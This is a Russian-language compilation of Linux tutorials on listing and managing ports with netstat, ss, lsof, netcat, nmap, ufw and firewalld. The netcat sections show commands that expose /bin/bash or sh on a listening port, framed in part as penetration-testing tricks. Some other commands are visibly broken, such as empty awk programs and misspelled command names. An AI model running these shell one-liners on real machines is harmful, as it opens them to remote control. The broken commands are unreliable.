Перейти к содержимому

Как слушать порт linux

  • автор:

11 примеров использования netstat

Команда netstat, входящая в стандартный набор сетевых инструментов UNIX, отображает различную network–related информацию, такую как сетевые подключения, статистику интерфейсов, таблицы маршрутизации, masquerade, multicast, и т.п.

В этой статье рассмотрим десять практических примеров использования команды netstat в Linux.

1. Список всех портов (как прослушиваемых, так и нет)

Перечислить все порты: netstat -a

# netstat -a | more Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 localhost:domain *:* LISTEN udp6 0 0 fe80::20c:29ff:fe68:ntp [::]:* Active UNIX domain sockets (servers and established) Proto RefCnt Flags Type State I-Node Path unix 2 [ ACC ] STREAM LISTENING 20492 /var/run/mysqld/mysqld.sock unix 2 [ ACC ] STREAM LISTENING 23323 /var/run/php5-fpm.sock

Перечислить все TCP порты: netstat -at

# netstat -at Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 localhost:domain *:* LISTEN tcp 0 0 *:ssh *:* LISTEN tcp 0 0 localhost:ipp *:* LISTEN tcp 0 0 *:http *:* LISTEN

Перечислить все UDP порты: netstat -au

# netstat -au Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State udp 0 0 localhost:domain *:* udp 0 0 *:bootpc *:* udp6 0 0 fe80::20c:29ff:fe68:ntp [::]:*

2. Список сокетов, находящихся в состоянии LISTEN

Перечислить все прослушиваемые порты: netstat -l

# netstat -l Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 localhost:domain *:* LISTEN tcp6 0 0 [::]:ssh [::]:* LISTEN udp 0 0 192.168.128.134:ntp *:*

Перечислить прослушиваемые TCP порты: netstat -lt

# netstat -lt Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 localhost:domain *:* LISTEN tcp 0 0 localhost:ipp *:* LISTEN tcp6 0 0 [::]:ssh [::]:* LISTEN

Перечислить прослушиваемые UDP порты: netstat -lu

# netstat -lu Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State udp 0 0 *:bootpc *:* udp6 0 0 [::]:ntp [::]:*

Перечислить прослушиваемые UNIX сокеты: netstat -lx

# netstat -lx Active UNIX domain sockets (only servers) Proto RefCnt Flags Type State I-Node Path unix 2 [ ACC ] STREAM LISTENING 3141 /var/run/fail2ban/fail2ban.sock unix 2 [ ACC ] STREAM LISTENING 20492 /var/run/mysqld/mysqld.sock unix 2 [ ACC ] STREAM LISTENING 23323 /var/run/php5-fpm.sock

3. Просмотр статистики для каждого протокола

Показать статистику всех портов: netstat -s

# netstat -s Ip: 11150 total packets received 1 with invalid addresses 0 forwarded 0 incoming packets discarded 11149 incoming packets delivered 11635 requests sent out Icmp: 13791 ICMP messages received 12 input ICMP message failed. Tcp: 15020 active connections openings 97955 passive connection openings 135 failed connection attempts Udp: 2841 packets received 180 packets to unknown port received. .

Показать статистику только TCP портов: netstat -st

# netstat -st

Показать статистику только UDP портов: netstat -su

# netstat -su

4. Отображение PID и имени процесса в выводе netstat

Опция netstat -p добавит «PID/Program Name» в вывод netstat, и может быть совмещена с любым другим набором опций. Это очень полезно при отладке, для определения того, какая программа работает на определённом порту.

# netstat -pt Active Internet connections (w/o servers) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 org-ru-putty.vm.udf:www 52-106.plus.kerch:55723 ESTABLISHED 9486/nginx: worker tcp 0 0 org-ru-putty.vm.udf:www 52-106.plus.kerch:55757 ESTABLISHED 9486/nginx: worker

5. Разрешение имён в выводе netstat

Когда вам не нужно резолвить имя хоста, имя порта, имя пользователя, используйте опцию netstat -n для вывода значений в цифровом формате. Команда покажет IP-адрес вместо хоста, номер порта вместо имени порта, UID вместо имени пользователя.

Это также ускорит вывод, так как netstat не станет выполнять ненужный поиск.

# netstat -an

Для вывода цифровых значений только некоторых из этих пунктов, используйте следующие команды:

# netsat -a --numeric-ports # netsat -a --numeric-hosts # netsat -a --numeric-users

6. Вывод информации netstat непрерывно

Опция netstat -c будет выводить информацию непрерывно, в стиле top, обновляя экран каждые несколько секунд.

# netstat -c Active Internet connections (w/o servers) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 org-ru-putty.vm.udf:www 182.131.74.202:59933 FIN_WAIT2 tcp 0 0 org-ru-putty.vm.udf:www 182.131.74.202:63761 FIN_WAIT2 tcp 0 0 org-ru-putty.vm.udf:www 92-181-66-102-irk.:4585 ESTABLISHED ^C

7. Неподдерживаемые системой семейства адресов

Опция netstat —verbose покажет подробный вывод, а в самом конце отобразит неподдерживаемые Address Family.

netstat: no support for `AF IPX' on this system. netstat: no support for `AF AX25' on this system. netstat: no support for `AF X25' on this system. netstat: no support for `AF NETROM' on this system.

8. Маршрутизация ядра

Показать таблицу маршрутизации ядра: netstat -r

# netstat -r Kernel IP routing table Destination Gateway Genmask Flags MSS Window irtt Iface default 192.168.128.2 0.0.0.0 UG 0 0 0 eth0 192.168.128.0 * 255.255.255.0 U 0 0 0 eth0

Примечание: Используйте netstat -rn для просмотра маршрута в цифровом формате без разрешения имён узлов.

9. Соответствие портов и процессов

Узнать, какой порт занимает определённая программа:

# netstat -ap | grep ssh (Not all processes could be identified, non-owned process info will not be shown, you would have to be root to see it all.) tcp 0 0 *:ssh *:* LISTEN - tcp6 0 0 [::]:ssh [::]:* LISTEN -

Выяснить, каким процессом используется определённый порт:

# netstat -an | grep ':80'

10. Сетевые интерфейсы

Показать список сетевых интерфейсов: netstat -i

# netstat -i Kernel Interface table Iface MTU Met RX-OK RX-ERR RX-DRP RX-OVR TX-OK TX-ERR TX-DRP TX-OVR Flg eth0 1500 0 1911037 0 0 0 1382056 0 0 0 BMRU lo 16436 0 0 0 0 0 0 0 0 0 LRU

Показать расширенную информацию об интерфейсах (аналогично ifconfig): netstat -ie

# netstat -ie Kernel Interface table eth0 Link encap:Ethernet HWaddr 00:0c:29:68:4c:a4 inet addr:192.168.128.134 Bcast:192.168.128.255 Mask:255.255.255.0 inet6 addr: fe80::20c:29ff:fe68:4ca4/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:24278 errors:0 dropped:0 overruns:0 frame:0 TX packets:11275 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:33203025 (33.2 MB) TX bytes:665822 (665.8 KB) Interrupt:19 Base address:0x2000

11. netstat -lnptux

  • -l все открытые порты (LISTEN)
  • -t по протоколу TCP
  • -u по протоколу UDP
  • -x по протоколу UNIX Socket
  • -n без резолва IP/имён
  • -p но с названиями процессов и PID-ами

Примечание: Не все процессы могут быть идентифицированы последним ключом, чужие процессы показаны не будут. Вы должны иметь права root чтобы увидеть всё.

# netstat -lnptux Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 9614/nginx tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 601/sshd udp 0 0 8.8.4.4:123 0.0.0.0:* 574/ntpd udp 0 0 127.0.0.1:123 0.0.0.0:* 574/ntpd udp 0 0 0.0.0.0:123 0.0.0.0:* 574/ntpd Active UNIX domain sockets (only servers) Proto RefCnt Flags Type State I-Node PID/Program name Path unix 2 [ ACC ] STREAM LISTENING 4233 826/python /var/run/fail2ban/fail2ban.sock unix 2 [ ACC ] STREAM LISTENING 8122 2561/mysqld /var/run/mysqld/mysqld.sock unix 2 [ ACC ] STREAM LISTENING 160413 7301/php-fpm.conf /var/run/php5-fpm.sock

netstat — проверка открытых портов в Linux

netstat — проверка открытых портов в Linux

Проверка открытых портов на Ubuntu может понадобиться, чтобы убедиться, что в системе не запущены лишние службы. Если вы помните, порт это число, которое приложение будет использовать для связи с другой программой, предоставлять сервис и т.д. Чтобы получить представление о том, какие службы работают в системе, необходимо проверить открытые порты системы.

Часто мы устанавливаем программу, которая является сервисом, а потом забываем о ней, поэтому наша машина может прослушивать порты в ожидании соединения. Злоумышленники любят, когда порты открыты, так как приложения, прослушивающие эти порты, являются простыми целями. Чтобы обеспечить нашей системе Ubuntu Linux (или любой другой системе в этом отношении) максимальную безопасность, мы должны знать о том, какие порты открыты и для каких служб.

Чтобы проверить, какие порты открыты на нашей рабочей станции Ubuntu, можно выполнить команду, показанную ниже. Обратите внимание, что она должна работать и для других разновидностей Linux, если установлена утилита netstat.

1. Используя команду netstat

netstat -anltp | grep "LISTEN"

CLOSE_WAIT — ожидание закрытия соединения

CLOSED — соединение закрыто

ESTABLISHED — соединение установлено

LISTENING — ожидается соединение (слушается порт)

TIME_WAIT — превышение времени ответа

Утилита netstat позволяет увидеть открытые в системе порты, а также открытые на данный момент сетевые соединения. Для отображения максимально подробной информации надо использовать опции:

  • -l или —listening — посмотреть только прослушиваемые порты;
  • -p или —program — показать имя программы и ее PID;
  • -t или —tcp — показать tcp порты;
  • -u или —udp показать udp порты;
  • -n или —numeric показывать ip адреса в числовом виде.

Узнать, кто использует данные порты:

  • netstat –bno – получить список вех сетевых соединений и связанных с ними программ
    • -n – отображает адреса и номера портов в числовом формате
    • -b – отображает исполняемый файл, участвующий в создании каждого соединения

    Обычный веб-сервер, на котором запущены FTP, SSH и MySQL, выведет следующую информацию:

    tcp 0 0 127.0.0.1:3306 0.0.0.0:*LISTEN 21432/mysqld tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 4090/apache2 tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 7213/sshd tcp6 0 0 . 21 . * LISTEN 19023/proftpd tcp6 0 0 . 22 . * LISTEN 7234/sshd

    , netstat — проверка открытых портов в Linux

    Вышеуказанная команда запускает утилиту netstat с соответствующими флагами и передает вывод функции grep, которая извлекает строки, содержащие слово «LISTEN». В результате мы получаем список открытых портов и имена процессов, прослушивающих эти порты.

    Все команды netstat, ss, netcat относится к сетевым утилитам и доступны по-умолчанию в большинстве linux-дистрибутивах.

    Команда netstat умеет показывать сетевые соединения (входящие/исходящие), таблицу маршрутизации, статистику по сетевым интерфейсам и т.д.

    Список всех открытых портов (TCP)

    netstat -at 

    Список всех открытых портов (UDP)

    netstat -au 

    Список только прослушиваемых портов (TCP)

    netstat -lt 

    Статистика по всем открытым портам

    netstat -s 

    Подробное отображение списка с открытыми портами — добавлен PID и имя процессов

    netstat -p 

    Объединим все ключи в полезную команду для просмотра открытых TCP/UDP портов с именами процессов (может понадобиться root-доступ)

    netstat -ltupn 

    Список подключенных хостов

    netstat -lantp | grep ESTABLISHED |awk '' | awk -F: '' | sort -u

    Список всех открытых портов при помощи команды netstat

    Это просто. Тут мы используем либо команду netstat. Да, так просто, всего одна строчка и все у нас перед глазами:

    $ sudo netstat –tulpn

    netstat

    Тут мы можем увидеть какие порты находятся в состоянии прослушивания (Listen).

    Просмотр статистики по протоколам

    Данную информацию отображает команда netstat -s:

    # netstat -s Ip: 37850 total packets received 3 with invalid addresses 1 forwarded 0 incoming packets discarded 17349 incoming packets delivered 17635 requests sent out Icmp: 0 ICMP messages received 0 input ICMP message failed. Tcp: 312 active connections openings 2 failed connection attempts 114 connection resets received Udp: 9883 packets received 4 packets to unknown port received. . 

    Отдельная статистика по TCP:

    netstat -st 

    Отдельная статистика по UDP:

    netstat -su 

    Узнать PID и имя ПО, которое проявляет сетевую активность

    Для того, что бы узнать какой именно процесс у нас использует сетевое соединения или проявляет аномальную сетевую активность можно использовать команду netstat -pt:

    # netstat -pt Active Internet connections (w/o servers) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 1 0 root.wellweb:47212 192.168.1.1:www CLOSE_WAIT 2109/firefox tcp 0 0 root.wellweb:52750 lax:www ESTABLISHED 2109/firefox 

    Отображение таблицы IP роутов

    # netstat -r Kernel IP routing table Destination Gateway Genmask Flags MSS Window irtt Iface 192.168.1.0 * 255.255.255.0 U 0 0 0 eth2 link-local * 255.255.0.0 U 0 0 0 eth2 default 192.168.1.1 0.0.0.0 UG 0 0 0 eth2 

    Узнать какой порт использует определенный процесс

    # netstat -ap | grep ssh (Not all processes could be identified, non-owned process info will not be shown, you would have to be root to see it all.) tcp 1 0 dev-db:ssh 192.182.1.1:39213 CLOSE_WAIT - tcp 1 0 dev-db:ssh 192.182.1.1:57643 CLOSE_WAIT - 

    Если нужно наоборот, узнать процесс по порту, то команда будет выглядеть так:

    # netstat -an | grep ':80'

    Расширенная информация о сетевом интерфейсе

    Для этого используем команду:

    # netstat -ie Kernel Interface table eth0 Link encap:Ethernet HWaddr 00:10:42:11:11:11 UP BROADCAST MULTICAST MTU:1500 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:800 RX bytes:0 (0.0 B) TX bytes:0 (0.0 B) Memory:f6ad0000-f6b10000

    Также мы использовали следующие флаги:

    • t — выводит список портов TCP.
    • u — выводит список портов UDP.
    • l — выводит только слушающие (Listen) сокеты.
    • n — показывает номер порта.
    • p — показывает имя процесса или программы.

    Несколько примеров для определения атаки типа DoS или DDoS

    Следующая команда позволит узнать, сколько подключений активно на каждом IP-адресе:

    netstat -naltp | grep ESTABLISHED | awk ‘’ | awk -F: ‘’ | sort -n | uniq -c

    Определяем большое количество запросов с одного IP-адреса:

    netstat -na | grep :80 | sort

    Определяем точное количество запросов, полученных на одно соединение:

    netstat -np | grep SYN_RECV | wc -l

    При проведении DoS-атаки число, полученное в результате работы данной команды, должно быть довольно большим. В любом случае оно может зависеть от конкретной системы. То есть на одном сервере оно может быть одним, на другом — иным.

    2. Используя команду ss

    Утилита ss — это современная альтернатива для команды netstat. В отличие от netstat, которая берет информацию из каталога /proc, утилита ss напрямую связывается со специальной подсистемой ядра Linux, поэтому работает быстрее и её данные более точные, если вы хотите выполнить просмотр открытых портов это не имеет большого значения.

    Утилита ss позволяет просматривать информацию об используемых сокетах в системе. Эта команда обладает схожим функционалом к netstat, но есть и уникальные возможности. Например можно фильтровать вывод по установленным соединениям с определенным портом.

    Список процессов, использующие соединения в данный момент

    ss -p 

    Список сокетов в режиме прослушивания

    ss -l 

    Пример фильтра — список всех соединений к порту 80

    ss -o state established '( dport = :www or sport = :www )' 

    Список всех открытых портов при помощи команды ss

    Тут все аналогично, кроме того, что теперь используем команду ss вместо netstat

    $ sudo ss -tulpn 

    ss

    3. Используя команду lsof

    Утилита lsof умеет отображать процессы, которые работают с определенным файлом или сокетом.

    Утилита lsof позволяет посмотреть все открытые в системе соединения, в том числе и сетевые, для этого нужно использовать опцию -i, а чтобы отображались именно порты, а не названия сетевых служб следует использовать опцию -P

    Список всех сетевых соединений

    lsof -i 

    Список процессов, работающих с портом 80

    lsof -i :80 

    4. Используя команду netcat

    Утилита netcat позволяет передавать/принимать данные через TCP/UDP соединения.

    Шаблон вызова утилиты

    nc host port 

    Откроем прием (ключ -l) данных на порте 1234 с подробным выводом информации (ключ -v) и продолжением работы после разрыва соединения (ключ -k), по-умолчанию nc разрывает соединение после первого дисконекта.

    nc -lvk 1234 

    Подключаемся к открытому порту и отправим import antigravity ��

    nc 127.0.0.1 1234 import antigravity 

    Пример более полезного использования nc — передача файла. На принимающей стороне

    nc -l 1234 > file 

    На отправляющей стороне

    nc localhost 1234 < file 

    Или можно отдавать файл любому подключившемуся. На передающей стороне

    nc -l 1234 < file 

    На принимающей стороне

    nc localhost 1234 > file 

    Пример открытия shell’а на определенном порте (источник). На стороне, где нужно открыть шел

    mkfifo /tmp/pipe; sh /tmp/pipe | nc -l 1234 > /tmp/pipe 

    Еще один полезный пример с netcat — запуск процесса, с возможностью отслеживания его работы через сеть

    watch w | nc localhost 1234 

    4. Используя команду NMAP

    Nmap — мощный сетевой сканер, разработанный для сканирования и пентестинга удаленных узлов, но ничего не мешает направить его на локальный компьютер:

    nmap localhost Starting Nmap 6.47 ( http://nmap.org ) at 2015-08-02 17:27 EEST Nmap scan report for localhost (127.0.0.1) Host is up (0.00036s latency). Other addresses for localhost (not scanned): 127.0.0.1 127.0.0.1 127.0.0.1 127.0.0.1 127.0.0.1 127.0.0.1 rDNS record for 127.0.0.1: comm-app.local Not shown: 995 closed ports PORT STATE SERVICE 22/tcp open ssh 139/tcp open netbios-ssn 445/tcp open microsoft-ds 3493/tcp open nut 8080/tcp open http-proxy Nmap done: 1 IP address (1 host up) scanned in 0.10 seconds

    Если вы хотите посмотреть какие порты на компьютере доступны снаружи, здесь тоже пригодится Nmap. Если компьютер — общедоступный сервер, то результат скорее всего не будет отличатся от локального сканирования, но на домашнем компьютере все немного по другому. Первый вариант — используется роутер и в сеть будут видны только порты роутера, еще одним порогом защиты может стать NAT сервер провайдера. Технология NAT позволяет нескольким пользователям использовать один внешний IP адрес. И так для просмотра открытых внешних портов сначала узнаем внешний ip адрес, для надежности воспользуемся онлайн сервисом:

     wget -O - -q icanhazip.com
    178.93.149.50

    Дальше запускаем сканирование:

     nmap 178.93.149.50

    В результате мы можем получить открытый порт 80 веб сервера, или даже 21 — файлового сервера, которых мы не устанавливали, эти порты открыты роутером, 80 — для веб-интерфейса, а 21 для может использоваться для обновления прошивки. А еще можно вообще не получить результатов, это будет означать что все порты закрыты, или на сервере установлена система защиты от вторжений IDS.

    Для сканирования открытых/прослушиваемых портов на вашей системе Linux, запустите следующую команду (она может занять долгое время для завершения):

    sudonmap -n -Pn -sS -sU -p- localhost

    5. Какие порты открыты для внешнего мира?

    Обратите внимание, что сервис может иметь открытый порт, который можно прослушивать только на текущей машине. То есть, порт открыт, но вы не сможете получить к нему доступ из сети.

    Это полезно для безопасности, например, веб-сервер должен иметь открытый для остального мира порт 80, но мир не должен знать о (или иметь возможность подключения) порте 3306, который прослушивает сервер MySQL, поддерживающий вебсайт.

    В идеале, если вы используете веб-сервер, единственные порты, которые должны быть видны извне это HTTP-порт 80, и возможно, SSH порт 22, поскольку вам понадобится подключаться к веб-серверу для выполнения команд.

    Порты для служб, доступных только на локальном компьютере, будут иметь IP адрес 127.0.0.1 в поле локального адреса. В вышеприведенном примере это будет:

    tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN 21432/mysqld

    Как видно, MySQL прослушивает порт 3306 по IP адресу 127.0.0.1. Это означает, что к MySQL серверу могут подключиться только программы на той же машине.

    6. Просматриваем открытые порты в Ubuntu

    Для выполнения поставленной задачи мы предлагаем использовать стандартную консоль и дополнительные утилиты, позволяющие проводить мониторинг сети. Разобраться в командах смогут даже неопытные пользователи, поскольку мы дадим объяснение каждой. Предлагаем ознакомиться с двумя различными утилитами далее.

    7. ВЫВОДЫ

    В этой статье мы рассмотрели инструменты, которые вы можете использовать для того чтобы узнать узнать открытые порты linux. Инструментов не так много как для просмотра информации об оперативной памяти или процессоре, но их вполне хватает. А какими программами пользуетесь вы? Напишите в комментариях!

    Полезные трюки при работе с netcat

    image

    В данной статье я рассмотрю популярную сетевую утилиту netcat и полезные трюки при работе с ней.

    Netcat — утилита Unix, позволяющая устанавливать соединения TCP и UDP, принимать оттуда данные и передавать их. Несмотря на свою полезность и простоту, многие не знают способы ее применения и незаслуженно обходят ее стороной.

    С помощью данной утилиты можно производить некоторые этапы при проведении тестирования на проникновение. Это может быть полезно, когда на атакованной машине отсутствуют (или привлекут внимание) установленные пакеты, есть ограничения (например IoT/Embedded устройства) и т.д.

    Что можно сделать с помощью netcat:

    • Сканировать порты;
    • Перенаправлять порты;
    • Производить сбор баннеров сервисов;
    • Слушать порт (биндить для обратного соединения);
    • Скачивать и закачивать файлы;
    • Выводить содержимое raw HTTP;
    • Создать мини-чат.

    Вообще с помощью netcat можно заменить часть unix утилит, поэтому этот инструмент можно считать неким комбайном для выполнения тех или иных задач.

    Практические примеры

    Во многих случаях при необходимости проверки того или иного хоста используют телнет, либо собственные сервисные службы для выявления хоста или баннера. Как нам может помочь netcat:

    Проверка наличия открытого TCP-порта 12345

    $ nc -vn 192.168.1.100 12345

    nc: connect to 192.168.1.100 12345 (tcp) failed: Connection refused

    $ nc -v 192.168.1.100 22

    Connection to 192.168.1.100 22 port [tcp/ssh] succeeded!
    SSH-2.0-OpenSSH

    Сканирование TCP-портов с помощью netcat:

    $ nc -vnz 192.168.1.100 20-24

    При таком сканировании не будет соединение с портом, а только вывод успешного соединения:

    nc: connectx to 192.168.1.100 port 20 (tcp) failed: Connection refused
    nc: connectx to 192.168.1.100 port 21 (tcp) failed: Connection refused
    found 0 associations
    found 1 connections:
    1: flags=82
    outif en0
    src 192.168.1.100 port 50168
    dst 192.168.1.100 port 22
    rank info not available
    TCP aux info available
    Connection to 192.168.1.100 port 22 [tcp/*] succeeded!
    nc: connectx to 192.168.1.100 port 23 (tcp) failed: Connection refused
    nc: connectx to 192.168.1.100 port 24 (tcp) failed: Connection refused

    Сканирование UDP-портов.

    Для сканирования UDP портов с помощью nmap необходимы root привилегии. Если их нет — в этом случае нам тоже может помочь утилита netcat:

    $ nc -vnzu 192.168.1.100 5550-5560

    Connection to 192.168.1.100 port 5555 [udp/*] succeeded!

    Отправка UDP-пакета

    $ echo -n "foo" | nc -u -w1 192.168.1.100 161

    Это может быть полезно при взаимодействии с сетевыми устройствами.

    Прием данных на UDP-порту и вывод принятых данных

    $ nc -u localhost 7777

    После первого сообщения вывод будет остановлен. Если необходимо принять несколько сообщений, то необходимо использовать while true:

    $ while true; do nc -u localhost 7777; done

    Передача файлов. С помощью netcat можно как получать файлы, так и передавать на удаленный хост:

    nc 192.168.1.100 5555 < 1.txt
    nc -lvp 5555 > /tmp/1.txt

    Netcact в роли простейшего веб-сервера.

    Netcat может выполнять роль простейшего веб-сервера для отображения html странички.

    $ while true; do nc -lp 8888 < index.html; done

    C помощью браузера по адресу: http://хост netcat:8888/index.html. Для использования стандартного порта веб-сервера под номером 80 вам придется запустить nc c root привелегиями:

    $ while true; do sudo nc -lp 80 < test.html; done

    Чат между узлами

    На первом узле (192.168.1.100):

    $ nc -lp 9000
    $ nc 192.168.1.100 9000

    После выполнения команд все символы, введенные в окно терминала на любом из узлов появятся в окне терминала другого узла.

    Реверс-шелл

    С помощью netcat можно организовать удобный реверс-шелл:

    nc -e /bin/bash -lp 4444

    Теперь можно соединиться с удаленного узла:

    $ nc 192.168.1.100 4444

    Не стоит опускать руки, если нет тех или иных инструментов, зачастую довольно громоздких, иногда задачу можно решить подручными средствами.

    Управление портами в Linux (Ubuntu/Debian/CentOS)

    Как много времени проходит с момента заказа сервера на хостинге до первого подключения к готовому серверу? Несколько минут. На сколько полученный сервер готов к тому, чтобы использовать его на полную? На 100%. Ну или почти на 100. Точнее, совсем не на 100. Новый сервер подобен новорождённому ребёнку. У него одежды, нет приобретённого иммунитета и нет почти никаких навыков. Он уязвим для любого внешнего воздействия. И защиту от окружающих угроз мы должны ему дать. Наш новый сервер на начальном этапе не готов противостоять всему, что приходит к нему извне. А значит, его необходимо оснастить защитой. Такая защита для сервера – брандмауэр, или файрвол (firewall), или межсетевой экран.

    Обмен информацией между узлами сети происходит посредством портов открытых для использования на узлах. Для того, чтобы иметь гарантии прохождения исключительно легитимного трафика, следует уметь управлять портами нашего сервера при помощи брандмауэра.

    Управление портами в Ubuntu и Debian

    В операционных системах Ubuntu и Debian для управления брандмауэром довольно часто применяется утилита iptables. Её упрощённым интерфейсом является UFW (Uncomplicated Firewall). Открытие доступа к серверу для какого-либо приложения происходит путём регистрации этого приложения в UFW.

    В Ubuntu интерфейс UFW как правило присутствует по умолчанию, в Debian же необходимо будет сначала его проинсталлировать. Перед установкой брандмауэра рекомендуется обновить репозитории:

    $ sudo apt update $ sudo apt install ufw

    Список приложений, зарегистрированных в брандмауэре, доступен по следующей команде:

    $ sudo ufw app list

    Если вы производите первоначальную настройку межсетевого экрана используя подключение к серверу по ssh , логично было бы сразу же прописать в UFW соответствующее этому протоколу правило:

    $ sudo ufw allow SSH

    Эту команду также можно применить используя соответствующий номер порта вместо имени протокола. Для ssh это, как правило, порт 22:

    $ sudo ufw allow 22 

    В Ubuntu команда для разрешения подключения по ssh выглядит как:

    $ sudo ufw allow OpenSSH

    Для того, чтобы межсетевой экран начал работать, его необходимо запустить:

    $ sudo ufw enable

    Теперь, можно добавить в UFW правило, которое позволит разрешить передачу данных, например, по порту 80, или другими словами, при помощи протокола http . Это можно прописать командой:

    $ sudo ufw allow 80
    $ sudo ufw allow http

    По аналогии можно также разрешить трафик с использованием порта 443, то есть по протоколу https :

    $ sudo ufw allow 443
    $ sudo ufw allow https

    Подобными инструкциями можно давать разрешения для подключений, использующих несколько портов. Например, так выглядит команда на открытие целого диапазона портов (32810-32814):

    $ sudo ufw allow 32810:32814/udp

    Также, помимо номеров портов и названий протоколов, в разрешительных правилах есть возможность использовать IP-адреса. Вот как выглядит команда, разрешающая подключение только с IP-адреса 10.10.10.233:

    $ sudo ufw allow from 10.10.10.233

    Или из одной определённой подсети:

    $ sudo ufw allow from 10.10.10.0/24

    Или с одного определённого IP-адреса и только по одному определённому порту:

    $ sudo ufw allow from 10.10.10.233 to any port 22

    Естественно существует возможность и закрыть доступ для уже открытого подключения через определённый порт. Для этого используется команда deny . Следующей командой можно запретить подключения по протоколу http :

    $ sudo ufw deny http

    Инструкция для закрытия всех подключений с определённого IP-адреса выглядит следующим образом:

    $ sudo ufw deny from 10.10.10.233

    где 10.10.10.233 – IP-адрес, для которого будут закрыты все соединения на наш сервер.

    Уже созданные правила можно также удалить. Сделать это можно по номеру правила. Чтобы узнать номера правил, используйте следующую команду:

    $ sudo ufw status numbered

    Вывод данной команды выглядит следующим образом:

    Вывод команды sudo ufw status numbered - Управление портами в Linux

    Номера правил указаны в скобках в начале строки. Например, правило для подключения по 443-му порту имеет номер 3. Исходя из этого, команда для удаления этого правила будет выглядеть как:

    $ sudo ufw delete 3

    То же самое можно сделать командой:

    $ sudo ufw delete allow 443/tcp

    Посмотреть текущее состояние межсетевого экрана позволяет команда:

    $ sudo ufw status

    Просмотр статуса UFW

    Для отключения брандмауэра служит следующая инструкция:

    $ sudo ufw disable

    Управление портами в Centos

    Клиентским интерфейсом для работы с межсетевым экраном в Centos является программа firewalld. Как правило, firewalld уже по умолчанию входит в состав служб Centos. Но если вдруг это не так, для его установки используйте следующие команды:

    $ sudo dnf update -y $ sudo dnf install firewalld -y

    Если окажется, что firewalld уже был установлен в системе, команда вернёт следующее сообщение:

    Сообщение об уже установленном firewalld

    Текущее состояние службы можно увидеть набрав команду:

    $ systemctl status firewalld

    Если служба работает штатно, то вывод команды будет выглядеть так:

    Просмотр статуса firewalld

    Список приложений, которым доступ в firewalld уже предоставлен, можно увидеть с помощью команды:

    $ sudo firewall-cmd --permanent --list-all 

    Такие приложения перечислены в строке services :

    Вывод команды sudo firewall-cmd --permanent --list-all

    Чтобы предоставить приложению или протоколу, например, http , возможность производить подключения к нашему серверу, необходимо использовать команду следующего вида:

    $ sudo firewall-cmd --permanent --add-service=http

    Этот протокол должен добавиться в строку services :

    Вывод команды sudo firewall-cmd --permanent --list-all - Управление портами в Linux

    Аналогичным образом можно открыть доступ для подключений к серверу по протоколу https :

    $ sudo firewall-cmd --permanent --add-service=https

    Вывод команды sudo firewall-cmd --permanent --list-all - Управление портами в Linux

    В firewalld также есть возможность предоставить доступ для подключений по определённому порту. Так, например, будет выглядеть команда для открытия доступа по udp-порту 32810:

    $ sudo firewall-cmd --zone=public --add-port=32810/udp

    А так пишется команда для открытия доступа по пулу портов, например, для udp-портов с 32811 по 32814:

    $ sudo firewall-cmd --zone=public --add-port=32811-32814/udp

    И чтобы убедиться, что данные порты добавлены в список открытых, необходимо использовать следующую инструкцию:

    $ sudo firewall-cmd --zone=public --list-ports

    Список открытых портов в firewalld

    Доступ для подключений по определённому порту можно также и заблокировать. Например, закрытие доступа по udp-порту 32814 осуществляется командой:

    $ sudo firewall-cmd --zone=public --remove-port=32814/udp

    И наконец, для применения всех внесённых изменений, брандмауэр необходимо перезапустить:

    $ sudo firewall-cmd --reload

    Заключение

    Итак, мы рассмотрели установку и запуск межсетевых экранов в операционных системах Linux, таких как Ubuntu, Debian и Centos. А также, мы научились открывать доступ для подключений к нашему серверу через определённые порты и протоколы.

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *